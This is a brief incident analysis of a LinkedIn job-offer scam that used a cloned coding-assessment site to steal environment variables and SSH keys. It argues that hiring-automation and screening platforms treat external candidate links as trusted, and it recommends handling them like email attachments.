LinkedIn job offer delivered credential-stealing backdoor via automated hiring flow

The attack began with a LinkedIn message directing candidates to a cloned assessment site. After submission of a supposed coding test the page executed a script that exfiltrated environment variables and SSH keys. No user interaction beyond form completion was required.

Primary evidence consists of the attacker's GitHub commit history and the exact payload hash recorded in the original disclosure. Similar patterns appear in documented cases from 2023 where automated screening tools on other platforms processed unvetted external links without sandboxing. Credential reuse across dev and cloud accounts amplified impact.

The incident exposes a systemic gap: AI-driven resume screeners and assessment platforms ingest third-party URLs without origin validation or runtime isolation. This creates a reliable vector for initial access that bypasses corporate email filters. Hiring automation vendors have not published equivalent controls.

Operational consequence is straightforward. Any organization routing candidate evaluation through external links must treat those links as untrusted inputs equivalent to inbound email attachments.